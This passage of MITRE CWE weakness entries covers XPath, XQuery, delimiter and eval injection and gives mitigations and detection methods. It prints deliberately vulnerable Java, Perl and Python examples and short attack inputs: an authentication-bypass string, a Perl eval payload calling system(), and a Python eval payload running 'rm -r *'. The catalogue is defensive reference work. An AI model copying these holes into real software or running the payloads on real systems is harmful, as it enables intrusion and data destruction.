Example Language: Java 
XPath xpath = XPathFactory.newInstance().newXPath();
XPathExpression xlogin = xpath.compile("//users/user[login/text()='" + login.getUserName() + "' and password/text() = '" + login.getPassword() + "']/home_dir/text()");
Document d = DocumentBuilderFactory.newInstance().newDocumentBuilder().parse(new File("db.xml"));
String homedir = xlogin.evaluate(d);

Assume that user "john" wishes to leverage XPath Injection and login without a valid password. By providing a username "john" and password "' or ''='" the XPath expression now becomes

(attack code)
 
//users/user[login/text()='john' or ''='' and password/text() = '' or ''='']/home_dir/text()

This lets user "john" login without a valid password, thus bypassing authentication.

+ Potential Mitigations

Phase: Implementation

Use parameterized XPath queries (e.g. using XQuery). This will help ensure separation between data plane and control plane.

Phase: Implementation

Properly validate user input. Reject data where appropriate, filter where appropriate and escape where appropriate. Make sure input that will be used in XPath queries is safe in that context.
+ Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness: High

+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.929OWASP Top Ten 2013 Category A1 - Injection
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.990SFP Secondary Cluster: Tainted Input to Command
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1308CISQ Quality Measures - Security
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).1340CISQ Data Protection Measures
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1347OWASP Top Ten 2021 Category A03:2021 - Injection
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1409Comprehensive Categorization: Injection
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Notes

Relationship

This weakness is similar to other weaknesses that enable injection style attacks, such as SQL injection, command injection and LDAP injection. The main difference is that the target of attack here is the XML database.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
WASC39XPath Injection
Software Fault PatternsSFP24Tainted input to command
+ References
[REF-531] Web Application Security Consortium. "XPath Injection". <http://projects.webappsec.org/w/page/13247005/XPath%20Injection>. URL validated: 2023-04-07.
[REF-62] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 17, "XPath Injection", Page 1070. 1st Edition. Addison Wesley. 2006.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2008-01-30
(CWE Draft 8, 2008-01-30)
Evgeny LebanidzeCigital
+ Modifications
Modification DateModifierOrganization
2008-09-08CWE Content TeamMITRE
updated Common_Consequences, Relationships
2008-10-14CWE Content TeamMITRE
updated Description, Name, References, Relationship_Notes
2009-03-10CWE Content TeamMITRE
updated Demonstrative_Examples
2009-05-27CWE Content TeamMITRE
updated Name
2009-10-29CWE Content TeamMITRE
updated Common_Consequences
2010-02-16CWE Content TeamMITRE
updated Taxonomy_Mappings
2010-04-05CWE Content TeamMITRE
updated Description, Name
2010-06-21CWE Content TeamMITRE
updated Enabling_Factors_for_Exploitation
2010-12-13CWE Content TeamMITRE
updated Common_Consequences
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated References, Relationships
2012-10-30CWE Content TeamMITRE
updated Potential_Mitigations
2014-06-23CWE Content TeamMITRE
updated Relationships
2014-07-30CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2017-11-08CWE Content TeamMITRE
updated Applicable_Platforms, Enabling_Factors_for_Exploitation, Modes_of_Introduction, Relationships
2018-03-27CWE Content TeamMITRE
updated Relationships
2020-02-24CWE Content TeamMITRE
updated Relationships
2020-08-20CWE Content TeamMITRE
updated Relationships
2020-12-10CWE Content TeamMITRE
updated Relationships
2021-10-28CWE Content TeamMITRE
updated Relationships
2023-01-31CWE Content TeamMITRE
updated Description
2023-04-27CWE Content TeamMITRE
updated Detection_Factors, References, Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
2024-02-29
(CWE 4.14, 2024-02-29)
CWE Content TeamMITRE
updated Demonstrative_Examples
+ Previous Entry Names
Change DatePrevious Entry Name
2008-10-14Unsafe Treatment of XPath Input
2009-05-27Failure to Sanitize Data within XPath Expressions (aka 'XPath injection')
2010-04-05Failure to Sanitize Data within XPath Expressions ('XPath injection')

CWE-652: Improper Neutralization of Data within XQuery Expressions ('XQuery Injection')

Weakness ID: 652
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product uses external input to dynamically construct an XQuery expression used to retrieve data from an XML database, but it does not neutralize or incorrectly neutralizes that input. This allows an attacker to control the structure of the query.
+ Extended Description
The net effect is that the attacker will have control over the information selected from the XML database and may use that ability to control application flow, modify logic, retrieve unauthorized data, or bypass important checks (e.g. authentication).
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.91XML Injection (aka Blind XPath Injection)
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.943Improper Neutralization of Special Elements in Data Query Logic
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Architectural Concepts" (CWE-1008)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1019Validate Inputs
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
ImplementationREALIZATION: This weakness is caused during implementation of an architectural security tactic.
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Confidentiality

Technical Impact: Read Application Data

An attacker might be able to read sensitive information from the XML database.
+ Likelihood Of Exploit
High
+ Demonstrative Examples

Example 1

An attacker may pass XQuery expressions embedded in an otherwise standard XML document. The attacker tunnels through the application entry point to target the resource access layer. The string below is an example of an attacker accessing the accounts.xml to request the service provider send all user names back. doc(accounts.xml)//user[name='*'] The attacks that are possible through XQuery are difficult to predict, if the data is not validated prior to executing the XQL.

+ Potential Mitigations

Phase: Implementation

Use parameterized queries. This will help ensure separation between data plane and control plane.

Phase: Implementation

Properly validate user input. Reject data where appropriate, filter where appropriate and escape where appropriate. Make sure input that will be used in XQL queries is safe in that context.
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.929OWASP Top Ten 2013 Category A1 - Injection
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.990SFP Secondary Cluster: Tainted Input to Command
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1308CISQ Quality Measures - Security
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).1340CISQ Data Protection Measures
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1347OWASP Top Ten 2021 Category A03:2021 - Injection
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1409Comprehensive Categorization: Injection
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Notes

Relationship

This weakness is similar to other weaknesses that enable injection style attacks, such as SQL injection, command injection and LDAP injection. The main difference is that the target of attack here is the XML database.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
WASC46XQuery Injection
Software Fault PatternsSFP24Tainted input to command
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2008-01-30
(CWE Draft 8, 2008-01-30)
Evgeny LebanidzeCigital
+ Modifications
Modification DateModifierOrganization
2008-09-08CWE Content TeamMITRE
updated Common_Consequences, Relationships
2008-10-14CWE Content TeamMITRE
updated Description, Name, Relationship_Notes
2009-05-27CWE Content TeamMITRE
updated Name
2009-10-29CWE Content TeamMITRE
updated Common_Consequences
2010-02-16CWE Content TeamMITRE
updated Taxonomy_Mappings
2010-04-05CWE Content TeamMITRE
updated Description, Name
2010-12-13CWE Content TeamMITRE
updated Common_Consequences
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated Relationships
2012-10-30CWE Content TeamMITRE
updated Potential_Mitigations
2014-06-23CWE Content TeamMITRE
updated Relationships
2014-07-30CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2017-11-08CWE Content TeamMITRE
updated Applicable_Platforms, Demonstrative_Examples, Enabling_Factors_for_Exploitation, Modes_of_Introduction, Observed_Examples, Relationships
2018-03-27CWE Content TeamMITRE
updated Relationships
2020-02-24CWE Content TeamMITRE
updated Relationships
2020-08-20CWE Content TeamMITRE
updated Relationships
2020-12-10CWE Content TeamMITRE
updated Relationships
2021-10-28CWE Content TeamMITRE
updated Relationships
2023-01-31CWE Content TeamMITRE
updated Description
2023-04-27CWE Content TeamMITRE
updated Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
+ Previous Entry Names
Change DatePrevious Entry Name
2008-10-14Unsafe Treatment of XQuery Input
2009-05-27Failure to Sanitize Data within XQuery Expressions (aka 'XQuery Injection')
2010-04-05Failure to Sanitize Data within XQuery Expressions ('XQuery Injection')

CWE-140: Improper Neutralization of Delimiters

Weakness ID: 140
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product does not neutralize or incorrectly neutralizes delimiters.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.138Improper Neutralization of Special Elements
ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.141Improper Neutralization of Parameter/Argument Delimiters
ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.142Improper Neutralization of Value Delimiters
ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.143Improper Neutralization of Record Delimiters
ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.144Improper Neutralization of Line Delimiters
ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.145Improper Neutralization of Section Delimiters
ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.146Improper Neutralization of Expression/Command Delimiters
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Software Development" (CWE-699)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.137Data Neutralization Issues
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Implementation
+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Integrity

Technical Impact: Unexpected State

+ Observed Examples
ReferenceDescription
Attacker inserts field separator into input to specify admin privileges.
Multiple internal space, insufficient quoting - program does not use proper delimiter between values.
Attacker inserts carriage returns and "|" field separator characters to add new user/privileges.
Linebreak in field of PHP script allows admin privileges when written to data file.
+ Potential Mitigations

Phase: Implementation

Strategy: Input Validation

Developers should anticipate that delimiters will be injected/removed/manipulated in the input vectors of their product. Use an appropriate combination of denylists and allowlists to ensure only valid, expected and appropriate input is processed by the system.

Phase: Implementation

Strategy: Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

Phase: Implementation

Strategy: Output Encoding

While it is risky to use dynamically-generated query strings, code, or commands that mix control and data together, sometimes it may be unavoidable. Properly quote arguments and escape any special characters within those arguments. The most conservative approach is to escape or filter all characters that do not pass an extremely strict allowlist (such as everything that is not alphanumeric or white space). If some special characters are still needed, such as white space, wrap each argument in quotes after the escaping/filtering step. Be careful of argument injection (CWE-88).

Phase: Implementation

Strategy: Input Validation

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.990SFP Secondary Cluster: Tainted Input to Command
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1407Comprehensive Categorization: Improper Neutralization
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
PLOVERDelimiter Problems
Software Fault PatternsSFP24Tainted input to command
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
PLOVER
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Potential_Mitigations, Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2009-07-27CWE Content TeamMITRE
updated Potential_Mitigations
2010-06-21CWE Content TeamMITRE
updated Description, Name
2011-03-29CWE Content TeamMITRE
updated Potential_Mitigations
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2011-06-27CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated Relationships
2012-10-30CWE Content TeamMITRE
updated Potential_Mitigations
2013-02-21CWE Content TeamMITRE
updated Potential_Mitigations
2014-07-30CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2017-05-03CWE Content TeamMITRE
updated Potential_Mitigations
2020-02-24CWE Content TeamMITRE
updated Potential_Mitigations, Relationships
2020-06-25CWE Content TeamMITRE
updated Potential_Mitigations
2023-01-31CWE Content TeamMITRE
updated Description, Potential_Mitigations
2023-04-27CWE Content TeamMITRE
updated Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
2023-10-26CWE Content TeamMITRE
updated Observed_Examples
+ Previous Entry Names
Change DatePrevious Entry Name
2008-04-11Delimiter Problems
2010-06-21Failure to Sanitize Delimiters

CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')

Weakness ID: 95
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product receives input from an upstream component, but it does not neutralize or incorrectly neutralizes code syntax before using the input in a dynamic evaluation call (e.g. "eval").
+ Extended Description
This may allow an attacker to execute arbitrary code, or at least modify what code can be executed.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.94Improper Control of Generation of Code ('Code Injection')
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Architectural Concepts" (CWE-1008)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1019Validate Inputs
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
ImplementationREALIZATION: This weakness is caused during implementation of an architectural security tactic.
ImplementationThis weakness is prevalent in handler/dispatch procedures that might want to invoke a large number of functions, or set a large number of variables.
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Java (Undetermined Prevalence)

JavaScript (Undetermined Prevalence)

Python (Undetermined Prevalence)

Perl (Undetermined Prevalence)

PHP (Undetermined Prevalence)

Ruby (Undetermined Prevalence)

Class: Interpreted (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Confidentiality

Technical Impact: Read Files or Directories; Read Application Data

The injected code could access restricted data / files.
Access Control

Technical Impact: Bypass Protection Mechanism

In some cases, injectable code controls authentication; this may lead to a remote vulnerability.
Access Control

Technical Impact: Gain Privileges or Assume Identity

Injected code can access resources that the attacker is directly prevented from accessing.
Integrity
Confidentiality
Availability
Other

Technical Impact: Execute Unauthorized Code or Commands

Code injection attacks can lead to loss of data integrity in nearly all cases as the control-plane data injected is always incidental to data recall or writing. Additionally, code injection can often result in the execution of arbitrary code.
Non-Repudiation

Technical Impact: Hide Activities

Often the actions performed by injected control code are unlogged.
+ Likelihood Of Exploit
Medium
+ Demonstrative Examples

Example 1

edit-config.pl: This CGI script is used to modify settings in a configuration file.

(bad code)
Example Language: Perl 
use CGI qw(:standard);

sub config_file_add_key {
my ($fname, $key, $arg) = @_;
# code to add a field/key to a file goes here
}

sub config_file_set_key {
my ($fname, $key, $arg) = @_;
# code to set key to a particular file goes here
}

sub config_file_delete_key {
my ($fname, $key, $arg) = @_;
# code to delete key from a particular file goes here
}

sub handleConfigAction {
my ($fname, $action) = @_;
my $key = param('key');
my $val = param('val');
# this is super-efficient code, especially if you have to invoke
# any one of dozens of different functions!

my $code = "config_file_$action_key(\$fname, \$key, \$val);";
eval($code);
}

$configfile = "/home/cwe/config.txt";
print header;
if (defined(param('action'))) {
handleConfigAction($configfile, param('action'));
}
else {
print "No action specified!\n";
}

The script intends to take the 'action' parameter and invoke one of a variety of functions based on the value of that parameter - config_file_add_key(), config_file_set_key(), or config_file_delete_key(). It could set up a conditional to invoke each function separately, but eval() is a powerful way of doing the same thing in fewer lines of code, especially when a large number of functions or variables are involved. Unfortunately, in this case, the attacker can provide other values in the action parameter, such as:

(attack code)
 
add_key(",","); system("/bin/ls");

This would produce the following string in handleConfigAction():

(result)
 
config_file_add_key(",","); system("/bin/ls");

Any arbitrary Perl code could be added after the attacker has "closed off" the construction of the original function call, in order to prevent parsing errors from causing the malicious eval() to fail before the attacker's payload is activated. This particular manipulation would fail after the system() call, because the "_key(\$fname, \$key, \$val)" portion of the string would cause an error, but this is irrelevant to the attack because the payload has already been activated.

Example 2

This simple script asks a user to supply a list of numbers as input and adds them together.

(bad code)
Example Language: Python 
def main():
sum = 0
numbers = eval(input("Enter a space-separated list of numbers: "))
for num in numbers:
sum = sum + num
print(f"Sum of {numbers} = {sum}")
main()

The eval() function can take the user-supplied list and convert it into a Python list object, therefore allowing the programmer to use list comprehension methods to work with the data. However, if code is supplied to the eval() function, it will execute that code. For example, a malicious user could supply the following string:

(attack code)
 
__import__('subprocess').getoutput('rm -r *')

This would delete all the files in the current directory. For this reason, it is not recommended to use eval() with untrusted input.

A way to accomplish this without the use of eval() is to apply an integer conversion on the input within a try/except block. If the user-supplied input is not numeric, this will raise a ValueError. By avoiding eval(), there is no opportunity for the input string to be executed as code.

(good code)
Example Language: Python 
def main():
sum = 0
numbers = input("Enter a space-separated list of numbers: ").split(" ")
try:
for num in numbers:
sum = sum + int(num)
print(f"Sum of {numbers} = {sum}")
except ValueError:
print("Error: invalid input")
main()

An alternative, commonly-cited mitigation for this kind of weakness is to use the ast.literal_eval() function, since it is intentionally designed to avoid executing code. However, an adversary could still cause excessive memory or stack consumption via deeply nested structures [REF-1372], so the python documentation discourages use of ast.literal_eval() on untrusted data [REF-1373].

+ Observed Examples
ReferenceDescription
Python compiler uses eval() to execute malicious strings as Python code.
Chain: regex in EXIF processor code does not correctly determine where a string ends (CWE-625), enabling eval injection (CWE-95), as exploited in the wild per CISA KEV.
Chain: backslash followed by a newline can bypass a validation step (CWE-20), leading to eval injection (CWE-95), as exploited in the wild per CISA KEV.
Eval injection in PHP program.
Eval injection in Perl program.
Eval injection in Perl program using an ID that should only contain hyphens and numbers.
Direct code injection into Perl eval function.
Eval injection in Perl program.
Direct code injection into Perl eval function.
Direct code injection into Perl eval function.
MFV. code injection into PHP eval statement using nested constructs that should not be nested.
MFV. code injection into PHP eval statement using nested constructs that should not be nested.
Code injection into Python eval statement from a field in a formatted file.
Eval injection in Python program.
chain: Resultant eval injection. An invalid value prevents initialization of variables, which can be modified by attacker and later injected into PHP eval statement.
Chain: Execution after redirect triggers eval injection.
+ Potential Mitigations

Phases: Architecture and Design; Implementation

If possible, refactor your code so that it does not need to use eval() at all.

Phase: Implementation

Strategy: Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

Phase: Implementation

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180, CWE-181). Make sure that your application does not inadvertently decode the same input twice (CWE-174). Such errors could be used to bypass allowlist schemes by introducing dangerous inputs after they have been checked. Use libraries such as the OWASP ESAPI Canonicalization control.

Consider performing repeated canonicalization until your input does not change any more. This will avoid double-decoding and similar scenarios, but it might inadvertently modify inputs that are allowed to contain properly-encoded dangerous content.

Phase: Implementation

For Python programs, it is frequently encouraged to use the ast.literal_eval() function instead of eval, since it is intentionally designed to avoid executing code. However, an adversary could still cause excessive memory or stack consumption via deeply nested structures [REF-1372], so the python documentation discourages use of ast.literal_eval() on untrusted data [REF-1373].

Effectiveness: Discouraged Common Practice

+ Weakness Ordinalities
OrdinalityDescription
Primary
(where the weakness exists independent of other weaknesses)
+ Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness: High

+ Memberships
